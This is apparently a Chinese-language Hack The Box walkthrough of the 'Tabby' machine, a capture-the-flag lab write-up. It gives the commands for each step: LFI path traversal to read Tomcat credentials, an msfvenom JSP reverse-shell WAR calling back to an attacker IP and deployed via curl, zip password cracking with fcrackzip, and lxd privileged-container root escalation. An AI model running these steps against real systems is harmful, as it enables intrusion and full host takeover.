HTB Walkthrough -- Tabby

Tabby

信息收集

域名:

  • megahosting.htb
  • megahosting.com

端口:

  • 8080
  • 80
  • 22

megahosting.htb

URLNotespayloads
/news.php?file=statementLFIfile=…/…/…/…/etc/passwd

8080

PointsNotes
Web SeverTomcat V9.0.31
Host ServerLinux
default Tomcat home page/var/lib/tomcat9/webapps/ROOT/index.html (can read)
CATALINA_HOME/usr/share/tomcat9
CATALINA_BASE/var/lib/tomcat9
following the rules from/usr/share/doc/tomcat9-common/RUNNING.txt.gz (can read)
tomcat9-docshttp://10.10.10.194:8080/docs/
tomcat9-exampleshttp://10.10.10.194:8080/examples/
tomcat9-adminhttp://10.10.10.194:8080/manager/html & http://10.10.10.194:8080/host-manager/html (need userame and password)
Users are defined in/etc/tomcat9/tomcat-users.xml

80

  • Apache/2.4.41
  • Ubuntu

/etc/passwd 的内容,可以看到有两个值得关注的用户:tomcat和ash

自己跟着教程部署了一遍tomcat9
tomcat9的tomcat-users.xml会在安装目录的conf下
Tabby的tomcat的安装目录是/usr/share/tomcat9
通过fuzz,conf被改成了etc
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

读取页面源代码,发现host-manager的登录密码:tomcat:$3cureP4s5w0rd123!
登录

Get Shell

在tomcat的文档中找到关于远程部署war包的一种方法

http://10.10.10.194:8080/docs/manager-howto.html

用msf生成一个war包
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.52 LPORT=2323 -f war > shell.war

用curl把war上传到Tabby中
curl -u 'tomcat':'$3cureP4s5w0rd123!' -T shell.war http://10.10.10.194:8080/manager/text/deploy?path=/tabby-shell

-u 后的参数 一定要用单引号

curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/tabby-shell/

路径最后要加反斜杠/

python3 -c "import pty;pty.spawn('/bin/bash')"

成功getshell了

tomcat --> ash

根据之前找到的用户信息,可以明确下一步是要提权为ash用户
在/var/www/html中发现一个跟ash相关的文件夹,里面只有一个zip跟ash相关

访问http://10.10.10.194/files/16162020_backup.zip,下载这个zip包
破解时需要密码,常规用fcrackzip尝试爆破
fcrackzip -D -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip -v
爆破出的密码是admin@it

su ash
cat /home/ash/user.txt

得到user的hash

ash --> root

查看ash用户的信息,发现这个用户属于不同的组别,其中有个lxd

通过Google到一篇lxd提权的文章:看我如何利用LXD实现权限提升

跟着文章的内容,一步一步往下走

https://github.com/saghul/lxd-alpine-builder/issues/1
cd lxd-alping-builder
./build-alpine

btw,这里可能会出问题,issue里面有解决方法,可以参考参考

在自己的操作机中开启python的http服务
python -m SimpleHTTPServer

然后在Tabby中执行下面步骤
wget http://10.10.14.52:8000/alpine-v3.12-x86_64-20201023_0314.tar.gz
lxc image import alpine-v3.12-x86_64-20201023_0314.tar.gz --alias myimage
lxc image list

lxc init myimage ignite -c security.privileged=true

如果出现了下图的问题,可以参考这篇文章:https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/

执行 lxd init
所有设置均默认,执行完毕后,问题可以得到解决

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

cd /mnt/root/root

总结

  1. Tomcat定义host-manager和manager用户的路径:/安装路径/conf(or etc)/tomcat-users.xml
  2. 注意看文件夹的用户属性
  3. lxd提权

附加

  1. 什么是lxc和lxd
    lxc,linux Container,是一种轻量级虚拟化技术,lxc可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。
    lxd,Linux Daemon,是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的。

参考链接

  1. https://zhuanlan.zhihu.com/p/143981355
  2. https://www.freebuf.com/articles/system/216803.html
  3. https://techoverflow.net/2018/05/03/how-to-fix-lxd-failed-container-creation-no-storage-pool-found-please-create-a-new-storage-pool/
  4. http://jimolonely.github.io/2019/08/20/server/009-tomcat9-doc-5-manager/
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值